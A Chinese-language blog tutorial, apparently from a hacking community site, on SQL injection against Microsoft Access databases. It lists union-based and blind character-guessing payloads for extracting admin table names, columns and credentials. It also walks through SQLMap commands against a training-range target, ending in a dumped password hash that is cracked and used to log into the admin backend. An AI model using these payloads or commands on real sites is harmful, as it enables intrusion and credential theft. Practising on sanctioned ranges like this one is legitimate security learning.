返回

使用SQLMap进行Access注入

发布时间:2022-05-07 15:30:25 549
# 脚本# 网络安全# 黑客# 工具# 扫描

使用SQLMap进行Access注入

一、Access数据库简介

Microsoft Office Access是由微软发布的关系数据库管理系统。Microsoft Office Access是微软把数据库引擎的图形用户界面和软件开发工具结合在一起的一个数据库管理系统。它是微软Office家族的一个成员。Access以它自己的格式将数据存储在基于Access Jet的数据库引擎里。Access数据库属于文件型数据库,所以不需要端口号。
在Office 2007之前的Access数据库文件的后缀是 .mdb,Office2007及其之后的Access数据库文件的后缀是 .accdb。
Access数据库中没有注释符号.因此 /**/、 — 和 # 都没法使用。
Access是小型数据库,当容量到达100M左右的时候性能就会开始下降。
Access数据库不支持错误显示注入,Access数据库不能执行系统命令。

二、Access注入步骤

(1)判断有无注入

(2)猜解表名

(3)猜解字段

(4)猜解管理员字段值

(5)猜解用户名和密码长度

(6)猜解用户名和密码

(7)破解加密密码

(8)寻找并登录后台

三.注入方式

1.联合查询法

一、判断字段:
    id=1 order by 4
    id=1 union selct 1,2,3,4
二、猜表名:
1.
    id=1 union select 1,2,3,4 from admin      //猜有没有admin这个表(有就返回数字,没有就报错),假如猜不到,可以用工具跑
2.假设admin表存在,开始猜admin表的列名:
    id=1 union select 1,username,password,4 from admin      //可能为其他(如name uname passwd  pwd等)假如猜不到,可以用工具跑
3.结束

2.逐字猜解法

一、猜表
?id=110 and exists(select * from admin)                        //如果admin表存在,则返回正常,不存在就返回错误信息
select * from news where id=110 and exists(select * from admin)        //数据库执行语句

二、猜列
?id=110 and exists(select username from admin)                //如果admin表下有username这个列,就返回正常
?id=110 and exists(select password from admin)
select * from news where id=110 and exists(select username from admin)        //数据库执行语句

三、猜数据长度
?id=110 and (select top 1 len(username)from admin)=8    //如果admin表下的username列的长度为8(select语句的查询结果就为8),查询结果为8=8,则                                                             返回正常
                                                        //也可以先用大于(>)、小于(<)来判断长度,再用等于(=)确定结果
四、逐字猜解数据
mid() 截取字符串位置
select mid('abc',1,1)                                //数据库执行语句,查询结果为a
select mid('abc',2,1)                                //数据库执行语句,查询结果为b

asc() ascii码查询
select asc(mid('abc',1,1))                            //数据库执行语句,查询结果为97
select asc(mid('abc',2,1))                            //数据库执行语句,查询结果为98

?id=110 and (select top 1 asc(mid(username,1,1)) from admin)=97        //判断admin表下的username列的第一个数据的ascii码是否为97(a)
?id=110 and (select top 1 asc(mid(username,2,1)) from admin)=100        //判断admin表下的username列的第二个数据的ascii码是否为100(d)

四、Access SQL注入实战案例

我们选择墨者的Access注入靶场

https://www.mozhe.cn/bug/detail/89

进入靶场

访问有参数的连接

启动SQLMap,开始注入
python sqlmap.py -u http://219.153.49.228:48241/new_list.asp?id=1 --tables

问我们是否添加Cookie,我们选择:Y;
检测到WAF的保护,问是否继续,我们选择:Y;
检测到可注入参数,是否继续,我们选择:Y;
检测到后端数据库为Access,是否使用公用表进行测试,我们选择:Y;
您希望使用哪个常用表(单词列表)文件? 回车使用默认表
请输入线程,我们直接回车选择默认;等待结果
成功获取数据库所有表名

接下来爆出admin表中的列名
python sqlmap.py -u http://219.153.49.228:48241/new_list.asp?id=1 -T admin --columns

问我们是否添加Cookie,我们选择:Y;
检测到后端数据库为Access,是否使用公用表进行测试,我们选择:Y;
您希望使用哪个常用表(单词列表)文件? 回车使用默认表
请输入线程,我们直接回车选择默认;等待结果

成功获取admin表下的所有列名


接下来爆出admin表下username列的所有数据
python sqlmap.py -u http://219.153.49.228:48241/new_list.asp?id=1 -T admin -C username --dump-all

问我们是否添加Cookie,我们选择:Y;
过一段后,会问我们是否将哈希密码保存到临时文件中,我们选择:Y;
是否用字典来破解哈希,我们选择:n;
是否检查其他列,我们选择:n;因为我们已经看到我们想要的数据了

成功读取到保存在admin表下username列名下的账号密码

账号:moke
hash:7e6ec4fadf84938f

接下来将hash破解
根据经验,判断为md5加密,到破解网站解密

https://md5.cn/#/

解密得:27737201
开始登录后台

登录成功

SQLMap针对Access数据库的一次注入到此结束

获取更多网络安全信息:
+Q Q群:863658976
V X公众号: 哈客部落
哈客社区:hake.cc

特别声明:以上内容(图片及文字)均为互联网收集或者用户上传发布,本站仅提供信息存储服务!如有侵权或有涉及法律问题请联系我们。
举报
评论区(0)
按点赞数排序
用户头像
精选文章
thumb 中国研究员首次曝光美国国安局顶级后门—“方程式组织”
thumb 俄乌线上战争,网络攻击弥漫着数字硝烟
thumb 从网络安全角度了解俄罗斯入侵乌克兰的相关事件时间线